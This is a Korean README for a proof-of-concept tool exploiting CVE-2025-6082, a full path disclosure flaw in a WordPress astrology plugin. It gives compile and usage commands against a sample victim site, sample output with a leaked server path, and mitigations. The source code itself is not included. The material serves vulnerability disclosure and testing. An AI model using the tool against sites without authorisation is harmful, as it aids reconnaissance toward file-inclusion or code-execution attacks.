CVE-2025-6082 전체 경로 노출 PoC

저자: Byte Reaper
텔레그램: @ByteReaper0
CVE: CVE-2025-6082
취약점: 전체 경로 노출 (CWE-200)

설명

이 개념 증명(PoC)은 Birth Chart Compatibility 워드프레스 플러그인(버전 ≤ 2.0)의 전체 경로 노출 버그를 악용합니다. PoC는 플러그인의 index.php 엔드포인트에 HTTP GET 요청을 보내고, PHP 경고 또는 치명적 오류를 캡처하여 서버의 파일 시스템 경로(예: /var/www/html/wp-content/plugins/... 또는 C:\xampp\htdocs\...)를 추출합니다. 전체 경로를 노출하면 공격자가 추가로 LFI(로컬 파일 포함), RCE(원격 코드 실행) 또는 기타 정찰 공격을 연계하는 데 도움이 됩니다.

요구사항

• Linux
• gcc 또는 호환 C 컴파일러
• libcurl 개발 헤더
• argparse.c / argparse.h

컴파일

gcc -o fpd-poc exploit.c argparse.c  -lcurl

사용법

./fpd-poc -u https://target.com [옵션]

옵션:

플래그 설명

-u, --url (필수) 대상 워드프레스 사이트의 기본 URL

-c, --cookies <파일> 파일에서 쿠키 사용 (선택사항)

-v, --verbose 자세한 curl 출력 활성화

-f, --loop 요청을 N번 반복 (예: -f 10)

-h, --help 이 도움말 메시지 표시

예제:

단일 확인

./fpd-poc -u https://victim.com

자세한 모드로 5회 반복 확인

./fpd-poc -u https://victim.com -v -f 5 샘플 출력:

[+] 요청이 성공적으로 전송됨

[+] 입력 URL : https://victim.com

[+] 전체 형식 URL: https://victim.com/wp-content/plugins/birth-chart-compatibility/index.php

[+] HTTP 코드 : 200

====================================[응답]====================================

Warning: include(/var/www/html/wp-content/plugins/birth-chart-compatibility/missing.php): failed to open stream...

[+] 응답 길이 : 256

[+] 키워드 발견: Warning:

[+] 컨텍스트: Warning: include(/var/www/html/wp-content/plugins/birth-chart-compatibility/missing.php

완화 조치

Birth Chart Compatibility 플러그인을 패치된 버전(> 2.0)으로 릴리스되는 즉시 업데이트하세요.

플러그인을 사용하지 않는다면 비활성화하거나 제거하세요.

웹 서버 설정(예: .htaccess 또는 Nginx 규칙)을 통해 플러그인 PHP 파일(index.php)에 대한 직접 접근을 차단하세요.

면책 조항 이 코드는 교육 및 테스트 목적으로만 제공됩니다. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법일 수 있습니다.